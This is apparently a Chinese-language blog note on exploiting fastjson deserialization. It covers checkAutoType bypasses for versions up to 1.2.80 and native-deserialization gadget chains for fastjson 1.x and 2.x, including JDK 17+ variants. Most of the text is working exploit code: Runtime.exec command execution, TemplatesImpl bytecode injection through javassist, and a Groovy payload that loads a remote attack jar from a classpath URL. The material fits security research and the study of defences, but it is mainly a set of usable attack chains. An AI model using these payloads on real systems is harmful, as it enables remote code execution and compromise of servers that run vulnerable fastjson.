CC链

CB链与shiro

fastjson
1.2.24

<=1.2.47
判断key值是否为@type之后做了一个checkAutoType的校验,被黑名单拦截
解决方法:向缓存类中添加一些我们的恶意类

<=1.2.68
TypeUtils.loadClass()的地方加入了一个cache参数,默认为false,不能添加类
通过checkAutoType()校验的方式有哪些:
- 白名单里的类
- 开启了autotype
- 使用了JSONType注解
- 指定了期望类(expectClass)
- 缓存在mapping中的类
- 使用ParserConfig.AutoTypeCheckHandler接口通过校验的类
checkAutoType()中的expectClass参数类型为java.lang.Class,当expectClass传入checkAutoType()时不为null,并且我们要实例化的类是expectClass的子类或其实现时会将传入的类视为一个合法的类(不能在黑名单中),然后通过loadClass返回该类的class,我们就可以利用这个绕过checkAutoType()
EXP
1 2 3 4 5 6 7 8 9
| package org.example;
import com.alibaba.fastjson.JSON;
public class AutoCloseableBypass { public static void main(String[] args) { JSON.parseObject("{\"@type\":\"java.lang.AutoCloseable\", \"@type\":\"org.example.JavaBean\", \"cmd\":\"calc.exe\"}"); } }
|
JavaBean
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| package org.example;
import java.io.IOException;
public class JavaBean implements AutoCloseable{ public JavaBean(String cmd){ try{ Runtime.getRuntime().exec(cmd); }catch (IOException e){ e.printStackTrace(); } } @Override public void close() throws Exception {
} }
|
1.2.80
在fastjson的1.2.80版本中可以通过将依赖加入到java.lang.Exception 期望类的子类中,绕过checkAutoType
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| package org.example;
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject;
public class Poc { public static void main(String[] args) { String json ="{\n" + " \"@type\":\"java.lang.Exception\",\n" + " \"@type\":\"org.codehaus.groovy.control.CompilationFailedException\",\n" + " \"unit\":{\n" + " }\n" + "}";
try { JSON.parse(json); } catch (Exception e) { }
json = "{\n" + " \"@type\":\"org.codehaus.groovy.control.ProcessingUnit\",\n" + " \"@type\":\"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit\",\n" + " \"config\":{\n" + " \"@type\": \"org.codehaus.groovy.control.CompilerConfiguration\",\n" + " \"classpathList\":[\"http://127.0.0.1:8433/attack-1.jar\"]\n" + " },\n" + " \"gcl\":null,\n" + " \"destDir\": \"/tmp\"\n" + "}"; JSONObject.parse(json); } }
|
原生反序列化
fastjson<=1.2.48&fastjson2
fastjson2测至2.0.26

从1.2.49开始,我们的JSONArray以及JSONObject方法开始真正有了自己的readObject方法
在其SecureObjectInputStream
类当中重写了resolveClass
,在其中调用了checkAutoType
方法做类的检查
fastjson1
在哪些情况下readObject的时候不会调用resolveClass,答案就是引用
如何在JSONArray/JSONObject对象反序列化恢复对象时,让我们的恶意类成为引用类型从而绕过resolveClass的检查,答案是当向List、set、map类型中添加同样对象时即可成功利用
因此我们就可以利用这个思路构建攻击的payload了,这里简单以伪代码呈现,便于理解思路
1 2 3 4 5 6 7 8 9 10 11
| TemplatesImpl templates = TemplatesImplUtil.getEvilClass("open -na Calculator"); ArrayList<Object> arrayList = new ArrayList<>(); arrayList.add(templates);
JSONArray jsonArray = new JSONArray(); jsonArray.add(templates);
BadAttributeValueExpException bd = getBadAttributeValueExpException(jsonArray); arrayList.add(bd); WriteObjects(arrayList);
|
简单梳理下
序列化时,在这里templates先加入到arrayList中,后面在JSONArray中再次序列化TemplatesImpl时,由于在handles
这个hash表中查到了映射,后续则会以引用形式输出
反序列化时ArrayList先通过readObject恢复TemplatesImpl对象,之后恢复BadAttributeValueExpException对象,在恢复过程中,由于BadAttributeValueExpException要恢复val对应的JSONArray/JSONObject对象,会触发JSONArray/JSONObject的readObject方法,将这个过程委托给SecureObjectInputStream
,在恢复JSONArray/JSONObject中的TemplatesImpl对象时,由于此时的第二个TemplatesImpl对象是引用类型,通过readHandle恢复对象的途中不会触发resolveClass,由此实现了绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| import com.alibaba.fastjson.JSONArray; import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
public class Y4HackJSON { public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); }
public static byte[] genPayload(String cmd) throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("a"); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");"); clazz.addConstructor(constructor); clazz.getClassFile().setMajorVersion(49); return clazz.toBytecode(); }
public static void main(String[] args) throws Exception{
TemplatesImpl templates = TemplatesImpl.class.newInstance(); setValue(templates, "_bytecodes", new byte[][]{genPayload("open -na Calculator")}); setValue(templates, "_name", "1"); setValue(templates, "_tfactory", null);
JSONArray jsonArray = new JSONArray(); jsonArray.add(templates);
BadAttributeValueExpException bd = new BadAttributeValueExpException(null); setValue(bd,"val",jsonArray);
HashMap hashMap = new HashMap(); hashMap.put(templates,bd); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(hashMap); objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray())); objectInputStream.readObject(); } }
|
高版本的一些绕过
jdk>=17的时候发现BadAttributeValueExpException.readObject()无法作为source,因此就需要找其他的触发toString()的链拼起来
EventListenerList.readObject() -> UndoManager#toString() ->Vector#toString()
利用代码
1 2 3 4 5 6 7
| Vector vector = new Vector(); vector.add(jsonArray); UndoManager undoManager = new UndoManager(); setField(undoManager,"edits",vector); EventListenerList eventListenerList = new EventListenerList(); setField(eventListenerList,"listenerList",new Object[]{Class.class,undoManager}); unser(ser(eventListenerList));
|
HashMap#readObject()->putVal()->equals()->XString.equals()->toString()
自己写了个方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| public static HashMap getXString(Object obj) throws Exception{
XString xstring=new XString(""); HashMap hashMap1 = new HashMap(); HashMap hashMap2 = new HashMap(); hashMap1.put("zZ",obj); hashMap1.put("yy",xstring);
hashMap2.put("zZ",xstring); hashMap2.put("yy",obj);
HashMap hashMap = new HashMap(); hashMap.put("hashMap1", 1); hashMap.put("hashMap2", 2); setHashMapKey(hashMap,"hashMap1",hashMap1); setHashMapKey(hashMap,"hashMap2",hashMap2);
return hashMap; }
|
HashMap#readObject -> HotSwappableTargetSource#equals -> XString#equals -> toString
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| public static void main(String[] args) throws Exception {
JSONArray jsonArray = new JSONArray(); jsonArray.add(getTemplates()); unser(ser(getHotSwappableTargetSource(jsonArray)));
}
public static HashMap getHotSwappableTargetSource(Object obj) throws Exception{
HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource(obj); HotSwappableTargetSource hotSwappableTargetSource2 = new HotSwappableTargetSource(new XString("x"));
HashMap hashMap = new HashMap(); hashMap.put("1", hotSwappableTargetSource1); hashMap.put("2", hotSwappableTargetSource2); setHashMapKey(hashMap,"1",hotSwappableTargetSource1); setHashMapKey(hashMap,"2",hotSwappableTargetSource2);
return hashMap; }
|

高版本(>2.0.26)绕过
黑名单绕过
动态代理绕过

- AutowireUtils$ObjectFactoryDelegatingInvocationHandler
